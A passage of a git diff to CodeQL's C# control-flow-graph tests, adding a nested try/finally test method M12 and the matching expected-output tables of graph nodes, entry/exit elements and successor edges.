Finally.cs:233:10:233:12 | M12 | +| Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:250:17:252:17 | {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:257:9:259:9 | {...} | Finally.cs:233:10:233:12 | M12 | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:6:10:6:11 | M1 | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | M1 | | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | Foreach.cs:6:10:6:11 | M1 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected b/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected index e7011799f62..3c5d4db19dd 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected @@ -1580,6 +1580,36 @@ | Finally.cs:230:9:230:33 | call to method WriteLine | Finally.cs:230:27:230:32 | "Done" | | Finally.cs:230:9:230:34 | ...; | Finally.cs:230:9:230:34 | ...; | | Finally.cs:230:27:230:32 | "Done" | Finally.cs:230:27:230:32 | "Done" | +| Finally.cs:234:5:261:5 | {...} | Finally.cs:234:5:261:5 | {...} | +| Finally.cs:235:9:259:9 | try {...} ... | Finally.cs:235:9:259:9 | try {...} ... | +| Finally.cs:236:9:255:9 | {...} | Finally.cs:236:9:255:9 | {...} | +| Finally.cs:237:13:253:13 | try {...} ... | Finally.cs:237:13:253:13 | try {...} ... | +| Finally.cs:238:13:241:13 | {...} | Finally.cs:238:13:241:13 | {...} | +| Finally.cs:239:17:240:43 | if (...) ... | Finally.cs:239:17:240:43 | if (...) ... | +| Finally.cs:239:21:239:22 | access to parameter b1 | Finally.cs:239:21:239:22 | access to parameter b1 | +| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:240:27:240:42 | object creation of type ExceptionA | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:240:27:240:42 | object creation of type ExceptionA | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:243:13:253:13 | {...} | +| Finally.cs:244:17:252:17 | try {...} ... | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:245:17:248:17 | {...} | Finally.cs:245:17:248:17 | {...} | +| Finally.cs:246:21:247:47 | if (...) ... | Finally.cs:246:21:247:47 | if (...) ... | +| Finally.cs:246:25:246:26 | access to parameter b2 | Finally.cs:246:25:246:26 | access to parameter b2 | +| Finally.cs:247:25:247:47 | throw ...; | Finally.cs:247:31:247:46 | object creation of type ExceptionA | +| Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:247:31:247:46 | object creation of type ExceptionA | +| Finally.cs:250:17:252:17 | {...} | Finally.cs:250:17:252:17 | {...} | +| Finally.cs:251:21:251:54 | call to method WriteLine | Finally.cs:251:39:251:53 | "Inner finally" | +| Finally.cs:251:21:251:55 | ...; | Finally.cs:251:21:251:55 | ...; | +| Finally.cs:251:39:251:53 | "Inner finally" | Finally.cs:251:39:251:53 | "Inner finally" | +| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:254:31:254:43 | "Mid finally" | +| Finally.cs:254:13:254:45 | ...; | Finally.cs:254:13:254:45 | ...; | +| Finally.cs:254:31:254:43 | "Mid finally" | Finally.cs:254:31:254:43 | "Mid finally" | +| Finally.cs:257:9:259:9 | {...} | Finally.cs:257:9:259:9 | {...} | +| Finally.cs:258:13:258:46 | call to method WriteLine | Finally.cs:258:31:258:45 | "Outer finally" | +| Finally.cs:258:13:258:47 | ...; | Finally.cs:258:13:258:47 | ...; | +| Finally.cs:258:31:258:45 | "Outer finally" | Finally.cs:258:31:258:45 | "Outer finally" | +| Finally.cs:260:9:260:33 | call to method WriteLine | Finally.cs:260:27:260:32 | "Done" | +| Finally.cs:260:9:260:34 | ...; | Finally.cs:260:9:260:34 | ...; | +| Finally.cs:260:27:260:32 | "Done" | Finally.cs:260:27:260:32 | "Done" | | Foreach.cs:7:5:10:5 | {...} | Foreach.cs:7:5:10:5 | {...} | | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | Foreach.cs:8:29:8:32 | access to parameter args | | Foreach.cs:8:22:8:24 | String arg | Foreach.cs:8:22:8:24 | String arg | diff --git a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected index 63de557d245..33a974b23ec 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected @@ -2214,6 +2214,71 @@ | Finally.cs:230:9:230:33 | call to method WriteLine | Finally.cs:230:9:230:33 | call to method WriteLine | normal | | Finally.cs:230:9:230:34 | ...; | Finally.cs:230:9:230:33 | call to method WriteLine | normal | | Finally.cs:230:27:230:32 | "Done" | Finally.cs:230:27:230:32 | "Done" | normal | +| Finally.cs:234:5:261:5 | {...} | Finally.cs:258:13:258:46 | call to method WriteLine | throw(Exception) [normal] | +| Finally.cs:234:5:261:5 | {...} | Finally.cs:258:13:258:46 | call to method WriteLine | throw(ExceptionA) [normal] | +| Finally.cs:234:5:261:5 | {...} | Finally.cs:258:13:258:46 | call to method WriteLine | throw(OutOfMemoryException) [normal] | +| Finally.cs:234:5:261:5 | {...} | Finally.cs:260:9:260:33 | call to method WriteLine | normal | +| Finally.cs:235:9:259:9 | try {...} ... | Finally.cs:258:13:258:46 | call to method WriteLine | normal | +| Finally.cs:235:9:259:9 | try {...} ... | Finally.cs:258:13:258:46 | call to method WriteLine | throw(Exception) [normal] | +| Finally.cs:235:9:259:9 | try {...} ... | Finally.cs:258:13:258:46 | call to method WriteLine | throw(ExceptionA) [normal] | +| Finally.cs:235:9:259:9 | try {...} ... | Finally.cs:258:13:258:46 | call to method WriteLine | throw(OutOfMemoryException) [normal] | +| Finally.cs:236:9:255:9 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | throw(Exception) [normal] | +| Finally.cs:236:9:255:9 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | throw(ExceptionA) [normal] | +| Finally.cs:236:9:255:9 | {...} | Finally.cs:254:13:254:44 | call to method WriteLine | normal | +| Finally.cs:236:9:255:9 | {...} | Finally.cs:254:13:254:44 | call to method WriteLine | throw(Exception) | +| Finally.cs:236:9:255:9 | {...} | Finally.cs:254:31:254:43 | "Mid finally" | throw(OutOfMemoryException) | +| Finally.cs:237:13:253:13 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | normal | +| Finally.cs:237:13:253:13 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | throw(Exception) [normal] | +| Finally.cs:237:13:253:13 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | throw(ExceptionA) [normal] | +| Finally.cs:238:13:241:13 | {...} | Finally.cs:239:21:239:22 | access to parameter b1 | false | +| Finally.cs:238:13:241:13 | {...} | Finally.cs:240:21:240:43 | throw ...; | throw(ExceptionA) | +| Finally.cs:238:13:241:13 | {...} | Finally.cs:240:27:240:42 | object creation of type ExceptionA | throw(Exception) | +| Finally.cs:239:17:240:43 | if (...) ... | Finally.cs:239:21:239:22 | access to parameter b1 | false | +| Finally.cs:239:17:240:43 | if (...) ... | Finally.cs:240:21:240:43 | throw ...; | throw(ExceptionA) | +| Finally.cs:239:17:240:43 | if (...) ... | Finally.cs:240:27:240:42 | object creation of type ExceptionA | throw(Exception) | +| Finally.cs:239:21:239:22 | access to parameter b1 | Finally.cs:239:21:239:22 | access to parameter b1 | false | +| Finally.cs:239:21:239:22 | access to parameter b1 | Finally.cs:239:21:239:22 | access to parameter b1 | true | +| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:240:21:240:43 | throw ...; | throw(ExceptionA) | +| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:240:27:240:42 | object creation of type ExceptionA | throw(Exception) | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:240:27:240:42 | object creation of type ExceptionA | normal | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:240:27:240:42 | object creation of type ExceptionA | throw(Exception) | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | normal | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | throw(Exception) [normal] | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | throw(ExceptionA) [normal] | +| Finally.cs:244:17:252:17 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | normal | +| Finally.cs:244:17:252:17 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | throw(Exception) [normal] | +| Finally.cs:244:17:252:17 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | throw(ExceptionA) [normal] | +| Finally.cs:245:17:248:17 | {...} | Finally.cs:246:25:246:26 | access to parameter b2 | false | +| Finally.cs:245:17:248:17 | {...} | Finally.cs:247:25:247:47 | throw ...; | throw(ExceptionA) | +| Finally.cs:245:17:248:17 | {...} | Finally.cs:247:31:247:46 | object creation of type ExceptionA | throw(Exception) | +| Finally.cs:246:21:247:47 | if (...) ... | Finally.cs:246:25:246:26 | access to parameter b2 | false | +| Finally.cs:246:21:247:47 | if (...) ... | Finally.cs:247:25:247:47 | throw ...; | throw(ExceptionA) | +| Finally.cs:246:21:247:47 | if (...) ... | Finally.cs:247:31:247:46 | object creation of type ExceptionA | throw(Exception) | +| Finally.cs:246:25:246:26 | access to parameter b2 | Finally.cs:246:25:246:26 | access to parameter b2 | false | +| Finally.cs:246:25:246:26 | access to parameter b2 | Finally.cs:246:25:246:26 | access to parameter b2 | true | +| Finally.cs:247:25:247:47 | throw ...; | Finally.cs:247:25:247:47 | throw ...; | throw(ExceptionA) | +| Finally.cs:247:25:247:47 | throw ...; | Finally.cs:247:31:247:46 | object creation of type ExceptionA | throw(Exception) | +| Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:247:31:247:46 | object creation of type ExceptionA | normal | +| Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:247:31:247:46 | object creation of type ExceptionA | throw(Exception) | +| Finally.cs:250:17:252:17 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | normal | +| Finally.cs:251:21:251:54 | call to method WriteLine | Finally.cs:251:21:251:54 | call to method WriteLine | normal | +| Finally.cs:251:21:251:55 | ...; | Finally.cs:251:21:251:54 | call to method WriteLine | normal | +| Finally.cs:251:39:251:53 | "Inner finally" | Finally.cs:251:39:251:53 | "Inner finally" | normal | +| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:254:13:254:44 | call to method WriteLine | normal | +| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:254:13:254:44 | call to method WriteLine | throw(Exception) | +| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:254:31:254:43 | "Mid finally" | throw(OutOfMemoryException) | +| Finally.cs:254:13:254:45 | ...; | Finally.cs:254:13:254:44 | call to method WriteLine | normal | +| Finally.cs:254:13:254:45 | ...; | Finally.cs:254:13:254:44 | call to method WriteLine | throw(Exception) | +| Finally.cs:254:13:254:45 | ...; | Finally.cs:254:31:254:43 | "Mid finally" | throw(OutOfMemoryException) | +| Finally.cs:254:31:254:43 | "Mid finally" | Finally.cs:254:31:254:43 | "Mid finally" | normal | +| Finally.cs:254:31:254:43 | "Mid finally" | Finally.cs:254:31:254:43 | "Mid finally" | throw(OutOfMemoryException) | +| Finally.cs:257:9:259:9 | {...} | Finally.cs:258:13:258:46 | call to method WriteLine | normal | +| Finally.cs:258:13:258:46 | call to method WriteLine | Finally.cs:258:13:258:46 | call to method WriteLine | normal | +| Finally.cs:258:13:258:47 | ...; | Finally.cs:258:13:258:46 | call to method WriteLine | normal | +| Finally.cs:258:31:258:45 | "Outer finally" | Finally.cs:258:31:258:45 | "Outer finally" | normal | +| Finally.cs:260:9:260:33 | call to method WriteLine | Finally.cs:260:9:260:33 | call to method WriteLine | normal | +| Finally.cs:260:9:260:34 | ...; | Finally.cs:260:9:260:33 | call to method WriteLine | normal | +| Finally.cs:260:27:260:32 | "Done" | Finally.cs:260:27:260:32 | "Done" | normal | | Foreach.cs:7:5:10:5 | {...} | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | empty | | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | empty | | Foreach.cs:8:22:8:24 | String arg | Foreach.cs:8:22:8:24 | String arg | normal | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Finally.cs b/csharp/ql/test/library-tests/controlflow/graph/Finally.cs index d130862a4df..c8848747aaa 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Finally.cs +++ b/csharp/ql/test/library-tests/controlflow/graph/Finally.cs @@ -229,4 +229,34 @@ public class Finally } Console.WriteLine("Done"); } + + void M12(bool b1, bool b2) + { + try + { + try + { + if (b1) + throw new ExceptionA(); + } + finally + { + try + { + if (b2) + throw new ExceptionA(); + } + finally + { + Console.WriteLine("Inner finally"); + } + } + Console.WriteLine("Mid finally"); + } + finally + { + Console.WriteLine("Outer finally"); + } + Console.WriteLine("Done"); + } } diff --git a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected index 0dab813fa6c..97189409408 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected @@ -2626,6 +2626,105 @@ | Finally.cs:230:9:230:33 | call to method WriteLine | Finally.cs:216:10:216:12 | exit M11 (normal) | semmle.label | successor | | Finally.cs:230:9:230:34 | ...; | Finally.cs:230:27:230:32 | "Done" | semmle.label | successor | | Finally.cs:230:27:230:32 | "Done" | Finally.cs:230:9:230:33 | call to method WriteLine | semmle.label | successor | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:234:5:261:5 | {...} | semmle.label | successor | +| Finally.cs:233:10:233:12 | exit M12 (abnormal) | Finally.cs:233:10:233:12 | exit M12 | semmle.label | successor | +| Finally.cs:233:10:233:12 | exit M12 (normal) | Finally.cs:233:10:233:12 | exit M12 | semmle.label | successor | +| Finally.cs:234:5:261:5 | {...} | Finally.cs:235:9:259:9 | try {...} ... | semmle.label | successor | +| Finally.cs:235:9:259:9 | try {...} ... | Finally.cs:236:9:255:9 | {...} | semmle.label | successor | +| Finally.cs:236:9:255:9 | {...} | Finally.cs:237:13:253:13 | try {...} ... | semmle.label | successor | +| Finally.cs:237:13:253:13 | try {...} ... | Finally.cs:238:13:241:13 | {...} | semmle.label | successor | +| Finally.cs:238:13:241:13 | {...} | Finally.cs:239:17:240:43 | if (...) ... | semmle.label | successor | +| Finally.cs:239:17:240:43 | if (...) ... | Finally.cs:239:21:239:22 | access to parameter b1 | semmle.label | successor | +| Finally.cs:239:21:239:22 | access to parameter b1 | Finally.cs:240:27:240:42 | object creation of type ExceptionA | semmle.label | true | +| Finally.cs:239:21:239:22 | access to parameter b1 | Finally.cs:243:13:253:13 | {...} | semmle.label | false | +| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:243:13:253:13 | [finally: exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:240:21:240:43 | throw ...; | semmle.label | successor | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:244:17:252:17 | [finally: exception(Exception)] try {...} ... | semmle.label | successor | +| Finally.cs:243:13:253:13 | [finally: exception(ExceptionA)] {...} | Finally.cs:244:17:252:17 | [finally: exception(ExceptionA)] try {...} ... | semmle.label | successor | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:244:17:252:17 | try {...} ... | semmle.label | successor | +| Finally.cs:244:17:252:17 | [finally: exception(Exception)] try {...} ... | Finally.cs:245:17:248:17 | [finally: exception(Exception)] {...} | semmle.label | successor | +| Finally.cs:244:17:252:17 | [finally: exception(ExceptionA)] try {...} ... | Finally.cs:245:17:248:17 | [finally: exception(ExceptionA)] {...} | semmle.label | successor | +| Finally.cs:244:17:252:17 | try {...} ... | Finally.cs:245:17:248:17 | {...} | semmle.label | successor | +| Finally.cs:245:17:248:17 | [finally: exception(Exception)] {...} | Finally.cs:246:21:247:47 | [finally: exception(Exception)] if (...) ... | semmle.label | successor | +| Finally.cs:245:17:248:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:246:21:247:47 | [finally: exception(ExceptionA)] if (...) ... | semmle.label | successor | +| Finally.cs:245:17:248:17 | {...} | Finally.cs:246:21:247:47 | if (...) ... | semmle.label | successor | +| Finally.cs:246:21:247:47 | [finally: exception(Exception)] if (...) ... | Finally.cs:246:25:246:26 | [finally: exception(Exception)] access to parameter b2 | semmle.label | successor | +| Finally.cs:246:21:247:47 | [finally: exception(ExceptionA)] if (...) ... | Finally.cs:246:25:246:26 | [finally: exception(ExceptionA)] access to parameter b2 | semmle.label | successor | +| Finally.cs:246:21:247:47 | if (...) ... | Finally.cs:246:25:246:26 | access to parameter b2 | semmle.label | successor | +| Finally.cs:246:25:246:26 | [finally: exception(Exception)] access to parameter b2 | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | semmle.label | true | +| Finally.cs:246:25:246:26 | [finally: exception(Exception)] access to parameter b2 | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | semmle.label | false | +| Finally.cs:246:25:246:26 | [finally: exception(ExceptionA)] access to parameter b2 | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | semmle.label | true | +| Finally.cs:246:25:246:26 | [finally: exception(ExceptionA)] access to parameter b2 | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | semmle.label | false | +| Finally.cs:246:25:246:26 | access to parameter b2 | Finally.cs:247:31:247:46 | object creation of type ExceptionA | semmle.label | true | +| Finally.cs:246:25:246:26 | access to parameter b2 | Finally.cs:250:17:252:17 | {...} | semmle.label | false | +| Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | +| Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | +| Finally.cs:247:25:247:47 | throw ...; | Finally.cs:250:17:252:17 | [finally(2): exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | +| Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | semmle.label | successor | +| Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | semmle.label | successor | +| Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:247:25:247:47 | throw ...; | semmle.label | successor | +| Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally(2): exception(Exception)] ...; | semmle.label | successor | +| Finally.cs:250:17:252:17 | [finally(2): exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally(2): exception(ExceptionA)] ...; | semmle.label | successor | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(Exception)] ...; | semmle.label | successor | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(ExceptionA)] ...; | semmle.label | successor | +| Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally: exception(Exception)] ...; | semmle.label | successor | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(Exception)] ...; | semmle.label | successor | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] ...; | semmle.label | successor | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA)] ...; | semmle.label | successor | +| Finally.cs:250:17:252:17 | {...} | Finally.cs:251:21:251:55 | ...; | semmle.label | successor | +| Finally.cs:251:21:251:54 | [finally(2): exception(Exception)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:251:21:251:54 | [finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | +| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(Exception)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | +| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(Exception)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | +| Finally.cs:251:21:251:54 | call to method WriteLine | Finally.cs:254:13:254:45 | ...; | semmle.label | successor | +| Finally.cs:251:21:251:55 | ...; | Finally.cs:251:39:251:53 | "Inner finally" | semmle.label | successor | +| Finally.cs:251:21:251:55 | [finally(2): exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally(2): exception(Exception)] "Inner finally" | semmle.label | successor | +| Finally.cs:251:21:251:55 | [finally(2): exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally(2): exception(ExceptionA)] "Inner finally" | semmle.label | successor | +| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(Exception)] "Inner finally" | semmle.label | successor | +| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(ExceptionA)] "Inner finally" | semmle.label | successor | +| Finally.cs:251:21:251:55 | [finally: exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally: exception(Exception)] "Inner finally" | semmle.label | successor | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(Exception)] "Inner finally" | semmle.label | successor | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] "Inner finally" | semmle.label | successor | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA)] "Inner finally" | semmle.label | successor | +| Finally.cs:251:39:251:53 | "Inner finally" | Finally.cs:251:21:251:54 | call to method WriteLine | semmle.label | successor | +| Finally.cs:251:39:251:53 | [finally(2): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally(2): exception(Exception)] call to method WriteLine | semmle.label | successor | +| Finally.cs:251:39:251:53 | [finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally(2): exception(ExceptionA)] call to method WriteLine | semmle.label | successor | +| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(Exception)] call to method WriteLine | semmle.label | successor | +| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(ExceptionA)] call to method WriteLine | semmle.label | successor | +| Finally.cs:251:39:251:53 | [finally: exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(Exception)] call to method WriteLine | semmle.label | successor | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(Exception)] call to method WriteLine | semmle.label | successor | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] call to method WriteLine | semmle.label | successor | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA)] call to method WriteLine | semmle.label | successor | +| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:257:9:259:9 | {...} | semmle.label | successor | +| Finally.cs:254:13:254:45 | ...; | Finally.cs:254:31:254:43 | "Mid finally" | semmle.label | successor | +| Finally.cs:254:31:254:43 | "Mid finally" | Finally.cs:254:13:254:44 | call to method WriteLine | semmle.label | successor | +| Finally.cs:254:31:254:43 | "Mid finally" | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | semmle.label | exception(OutOfMemoryException) | +| Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | Finally.cs:258:13:258:47 | [finally: exception(Exception)] ...; | semmle.label | successor | +| Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:258:13:258:47 | [finally: exception(ExceptionA)] ...; | semmle.label | successor | +| Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:258:13:258:47 | [finally: exception(OutOfMemoryException)] ...; | semmle.label | successor | +| Finally.cs:257:9:259:9 | {...} | Finally.cs:258:13:258:47 | ...; | semmle.label | successor | +| Finally.cs:258:13:258:46 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:233:10:233:12 | exit M12 (abnormal) | semmle.label | exception(Exception) | +| Finally.cs:258:13:258:46 | [finally: exception(ExceptionA)] call to method WriteLine | Finally.cs:233:10:233:12 | exit M12 (abnormal) | semmle.label | exception(ExceptionA) | +| Finally.cs:258:13:258:46 | [finally: exception(OutOfMemoryException)] call to method WriteLine | Finally.cs:233:10:233:12 | exit M12 (abnormal) | semmle.label | exception(OutOfMemoryException) | +| Finally.cs:258:13:258:46 | call to method WriteLine | Finally.cs:260:9:260:34 | ...; | semmle.label | successor | +| Finally.cs:258:13:258:47 | ...; | Finally.cs:258:31:258:45 | "Outer finally" | semmle.label | successor | +| Finally.cs:258:13:258:47 | [finally: exception(Exception)] ...; | Finally.cs:258:31:258:45 | [finally: exception(Exception)] "Outer finally" | semmle.label | successor | +| Finally.cs:258:13:258:47 | [finally: exception(ExceptionA)] ...; | Finally.cs:258:31:258:45 | [finally: exception(ExceptionA)] "Outer finally" | semmle.label | successor | +| Finally.cs:258:13:258:47 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:258:31:258:45 | [finally: exception(OutOfMemoryException)] "Outer finally" | semmle.label | successor | +| Finally.cs:258:31:258:45 | "Outer finally" | Finally.cs:258:13:258:46 | call to method WriteLine | semmle.label 